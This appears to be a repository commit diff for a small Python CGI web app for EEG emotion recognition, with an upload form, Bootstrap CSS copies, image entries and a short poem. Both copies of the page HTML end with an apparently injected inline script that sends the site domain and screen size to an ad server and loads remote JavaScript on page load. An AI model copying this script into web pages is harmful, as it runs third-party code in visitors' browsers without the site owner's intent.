<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>'''
+148
Ver Arquivo
@@ -0,0 +1,148 @@
#!/usr/bin/env python
# Import modules for CGI handling
import cgi, cgitb
print "Content-type: text/html\n"
print '''<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>EEG Emotion Recognition</title>
<!-- Bootstrap Core CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
<!-- Timeline CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../css/dashboard.css" rel="stylesheet">
<!-- Morris Charts CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<div id="page-wrapper">
<div class="row">
<div class="col-lg-12">
<a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
</div>
<!-- /.col-lg-12 -->
</div>
<!-- /.row -->
<div class="row">
<div class="col-lg-2"></div>
<div class="col-lg-8">
<div class="panel panel-info">
<div class="panel-heading">
Input File
</div>
<div class="panel-body">
<form action="predict.py" method="POST">
<div class="form-group">
<label>Choose file to predict ! </label>
<input type="file" name="file_input">
</div>
<div class="form-group">
<label>Preprocessing Method</label>
<div class="radio">
<label>
<input type="radio" name="preprocessing_method" value="fft" checked>Fast Fourier Transform
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="preprocessing_method" value="ica_fft">Independent Component Analysis & Fast Fourier Transform
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="preprocessing_method" value="swt">Stationery Wavelet Transform
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="preprocessing_method" value="ica_swt">Independent Component Analysis & Stationery Wavelet Transform
</label>
</div>
</div>
<div class="form-group">
<label>Classification Method</label>
<div class="radio">
<label>
<input type="radio" name="classification_method" value="svm" checked>Support Vector Machine
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="classification_method" value="knn">K-Nearest Neighbord
</label>
</div>
</div>
<button type="submit" class="btn btn-primary">Predict File</button>
</form>
</div>
</div>
</div>
<!-- /.col-lg-4 -->
<div class="col-lg-2"></div>
</div>
<!-- /.row -->
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
<!-- Morris Charts JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
<!-- Custom Theme JavaScript -->
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>'''
Diferenças do arquivo suprimidas por serem muito extensas Carregar Diff
+359
Ver Arquivo
@@ -0,0 +1,359 @@
/*!
* Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
* Code licensed under the Apache License v2.0.
* For details, see http://www.apache.org/licenses/LICENSE-2.0.
*/
body {
background-color: #f8f8f8;
}
#wrapper {
width: 100%;
}
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
.text-center {
text-align: center;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 00px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
border-right: 1px solid #e7e7e7;
}
}
.navbar-top-links {
margin-right: 0;
}
.navbar-top-links li {
display: inline-block;
}
.navbar-top-links li:last-child {
margin-right: 15px;
}
.navbar-top-links li a {
padding: 15px;
min-height: 50px;
}
.navbar-top-links .dropdown-menu li {
display: block;
}
.navbar-top-links .dropdown-menu li:last-child {
margin-right: 0;
}
.navbar-top-links .dropdown-menu li a {
padding: 3px 20px;
min-height: 0;
}
.navbar-top-links .dropdown-menu li a div {
white-space: normal;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
width: 310px;
min-width: 0;
}
.navbar-top-links .dropdown-messages {
margin-left: 5px;
}
.navbar-top-links .dropdown-tasks {
margin-left: -59px;
}
.navbar-top-links .dropdown-alerts {
margin-left: -123px;
}
.navbar-top-links .dropdown-user {
right: 0;
left: auto;
}
.sidebar .sidebar-nav.navbar-collapse {
padding-right: 0;
padding-left: 0;
}
.sidebar .sidebar-search {
padding: 15px;
}
.sidebar ul li {
border-bottom: 1px solid #e7e7e7;
}
.sidebar ul li a.active {
background-color: #eee;
}
.sidebar .arrow {
float: right;
}
.sidebar .fa.arrow:before {
content: "\f104";
}
.sidebar .active>a>.fa.arrow:before {
content: "\f107";
}
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a {
padding-left: 37px;
}
.sidebar .nav-third-level li a {
padding-left: 52px;
}
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
margin-left: auto;
}
}
.btn-outline {
color: inherit;
background-color: transparent;
transition: all .5s;
}
.btn-primary.btn-outline {
color: #428bca;
}
.btn-success.btn-outline {
color: #5cb85c;
}
.btn-info.btn-outline {
color: #5bc0de;
}
.btn-warning.btn-outline {
color: #f0ad4e;
}
.btn-danger.btn-outline {
color: #d9534f;
}
.btn-primary.btn-outline:hover,
.btn-success.btn-outline:hover,
.btn-info.btn-outline:hover,
.btn-warning.btn-outline:hover,
.btn-danger.btn-outline:hover {
color: #fff;
}
.chat {
margin: 0;
padding: 0;
list-style: none;
}
.chat li {
margin-bottom: 10px;
padding-bottom: 5px;
border-bottom: 1px dotted #999;
}
.chat li.left .chat-body {
margin-left: 60px;
}
.chat li.right .chat-body {
margin-right: 60px;
}
.chat li .chat-body p {
margin: 0;
}
.panel .slidedown .glyphicon,
.chat .glyphicon {
margin-right: 5px;
}
.chat-panel .panel-body {
height: 350px;
overflow-y: scroll;
}
.login-panel {
margin-top: 25%;
}
.flot-chart {
display: block;
height: 400px;
}
.flot-chart-content {
width: 100%;
height: 100%;
}
.dataTables_wrapper {
position: relative;
clear: both;
}
table.dataTable thead .sorting,
table.dataTable thead .sorting_asc,
table.dataTable thead .sorting_desc,
table.dataTable thead .sorting_asc_disabled,
table.dataTable thead .sorting_desc_disabled {
background: 0 0;
}
table.dataTable thead .sorting_asc:after {
content: "\f0de";
float: right;
font-family: fontawesome;
}
table.dataTable thead .sorting_desc:after {
content: "\f0dd";
float: right;
font-family: fontawesome;
}
table.dataTable thead .sorting:after {
content: "\f0dc";
float: right;
font-family: fontawesome;
color: rgba(50,50,50,.5);
}
.btn-circle {
width: 30px;
height: 30px;
padding: 6px 0;
border-radius: 15px;
text-align: center;
font-size: 12px;
line-height: 1.428571429;
}
.btn-circle.btn-lg {
width: 50px;
height: 50px;
padding: 10px 16px;
border-radius: 25px;
font-size: 18px;
line-height: 1.33;
}
.btn-circle.btn-xl {
width: 70px;
height: 70px;
padding: 10px 16px;
border-radius: 35px;
font-size: 24px;
line-height: 1.33;
}
.show-grid [class^=col-] {
padding-top: 10px;
padding-bottom: 10px;
border: 1px solid #ddd;
background-color: #eee!important;
}
.show-grid {
margin: 15px 0;
}
.huge {
font-size: 40px;
}
.panel-green {
border-color: #5cb85c;
}
.panel-green .panel-heading {
border-color: #5cb85c;
color: #fff;
background-color: #5cb85c;
}
.panel-green a {
color: #5cb85c;
}
.panel-green a:hover {
color: #3d8b3d;
}
.panel-red {
border-color: #d9534f;
}
.panel-red .panel-heading {
border-color: #d9534f;
color: #fff;
background-color: #d9534f;
}
.panel-red a {
color: #d9534f;
}
.panel-red a:hover {
color: #b52b27;
}
.panel-yellow {
border-color: #f0ad4e;
}
.panel-yellow .panel-heading {
border-color: #f0ad4e;
color: #fff;
background-color: #f0ad4e;
}
.panel-yellow a {
color: #f0ad4e;
}
.panel-yellow a:hover {
color: #df8a13;
}
+359
Ver Arquivo
@@ -0,0 +1,359 @@
/*!
* Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
* Code licensed under the Apache License v2.0.
* For details, see http://www.apache.org/licenses/LICENSE-2.0.
*/
body {
background-color: #f8f8f8;
}
#wrapper {
width: 100%;
}
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
.text-center {
text-align: center;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 200px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
border-right: 1px solid #e7e7e7;
}
}
.navbar-top-links {
margin-right: 0;
}
.navbar-top-links li {
display: inline-block;
}
.navbar-top-links li:last-child {
margin-right: 15px;
}
.navbar-top-links li a {
padding: 15px;
min-height: 50px;
}
.navbar-top-links .dropdown-menu li {
display: block;
}
.navbar-top-links .dropdown-menu li:last-child {
margin-right: 0;
}
.navbar-top-links .dropdown-menu li a {
padding: 3px 20px;
min-height: 0;
}
.navbar-top-links .dropdown-menu li a div {
white-space: normal;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
width: 310px;
min-width: 0;
}
.navbar-top-links .dropdown-messages {
margin-left: 5px;
}
.navbar-top-links .dropdown-tasks {
margin-left: -59px;
}
.navbar-top-links .dropdown-alerts {
margin-left: -123px;
}
.navbar-top-links .dropdown-user {
right: 0;
left: auto;
}
.sidebar .sidebar-nav.navbar-collapse {
padding-right: 0;
padding-left: 0;
}
.sidebar .sidebar-search {
padding: 15px;
}
.sidebar ul li {
border-bottom: 1px solid #e7e7e7;
}
.sidebar ul li a.active {
background-color: #eee;
}
.sidebar .arrow {
float: right;
}
.sidebar .fa.arrow:before {
content: "\f104";
}
.sidebar .active>a>.fa.arrow:before {
content: "\f107";
}
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a {
padding-left: 37px;
}
.sidebar .nav-third-level li a {
padding-left: 52px;
}
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
margin-left: auto;
}
}
.btn-outline {
color: inherit;
background-color: transparent;
transition: all .5s;
}
.btn-primary.btn-outline {
color: #428bca;
}
.btn-success.btn-outline {
color: #5cb85c;
}
.btn-info.btn-outline {
color: #5bc0de;
}
.btn-warning.btn-outline {
color: #f0ad4e;
}
.btn-danger.btn-outline {
color: #d9534f;
}
.btn-primary.btn-outline:hover,
.btn-success.btn-outline:hover,
.btn-info.btn-outline:hover,
.btn-warning.btn-outline:hover,
.btn-danger.btn-outline:hover {
color: #fff;
}
.chat {
margin: 0;
padding: 0;
list-style: none;
}
.chat li {
margin-bottom: 10px;
padding-bottom: 5px;
border-bottom: 1px dotted #999;
}
.chat li.left .chat-body {
margin-left: 60px;
}
.chat li.right .chat-body {
margin-right: 60px;
}
.chat li .chat-body p {
margin: 0;
}
.panel .slidedown .glyphicon,
.chat .glyphicon {
margin-right: 5px;
}
.chat-panel .panel-body {
height: 350px;
overflow-y: scroll;
}
.login-panel {
margin-top: 25%;
}
.flot-chart {
display: block;
height: 400px;
}
.flot-chart-content {
width: 100%;
height: 100%;
}
.dataTables_wrapper {
position: relative;
clear: both;
}
table.dataTable thead .sorting,
table.dataTable thead .sorting_asc,
table.dataTable thead .sorting_desc,
table.dataTable thead .sorting_asc_disabled,
table.dataTable thead .sorting_desc_disabled {
background: 0 0;
}
table.dataTable thead .sorting_asc:after {
content: "\f0de";
float: right;
font-family: fontawesome;
}
table.dataTable thead .sorting_desc:after {
content: "\f0dd";
float: right;
font-family: fontawesome;
}
table.dataTable thead .sorting:after {
content: "\f0dc";
float: right;
font-family: fontawesome;
color: rgba(50,50,50,.5);
}
.btn-circle {
width: 30px;
height: 30px;
padding: 6px 0;
border-radius: 15px;
text-align: center;
font-size: 12px;
line-height: 1.428571429;
}
.btn-circle.btn-lg {
width: 50px;
height: 50px;
padding: 10px 16px;
border-radius: 25px;
font-size: 18px;
line-height: 1.33;
}
.btn-circle.btn-xl {
width: 70px;
height: 70px;
padding: 10px 16px;
border-radius: 35px;
font-size: 24px;
line-height: 1.33;
}
.show-grid [class^=col-] {
padding-top: 10px;
padding-bottom: 10px;
border: 1px solid #ddd;
background-color: #eee!important;
}
.show-grid {
margin: 15px 0;
}
.huge {
font-size: 40px;
}
.panel-green {
border-color: #5cb85c;
}
.panel-green .panel-heading {
border-color: #5cb85c;
color: #fff;
background-color: #5cb85c;
}
.panel-green a {
color: #5cb85c;
}
.panel-green a:hover {
color: #3d8b3d;
}
.panel-red {
border-color: #d9534f;
}
.panel-red .panel-heading {
border-color: #d9534f;
color: #fff;
background-color: #d9534f;
}
.panel-red a {
color: #d9534f;
}
.panel-red a:hover {
color: #b52b27;
}
.panel-yellow {
border-color: #f0ad4e;
}
.panel-yellow .panel-heading {
border-color: #f0ad4e;
color: #fff;
background-color: #f0ad4e;
}
.panel-yellow a {
color: #f0ad4e;
}
.panel-yellow a:hover {
color: #df8a13;
}
Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 17 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 45 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 46 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 8.1 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 7.6 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 46 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 45 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 7.9 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 46 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 26 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 43 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 25 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 34 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 28 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 71 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 28 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 29 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 46 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 48 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 49 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 47 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 51 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 41 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 42 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 51 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 50 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 49 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 50 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 48 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 52 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 52 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 31 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

Arquivo binário não exibido.

Depois

Largura:  |  Altura:  |  Tamanho: 30 KiB

+4
Ver Arquivo
@@ -0,0 +1,4 @@
people are not as beautiful as they look,
as they walk or as they talk.
they are only as beautiful as they love,
as they care as they share.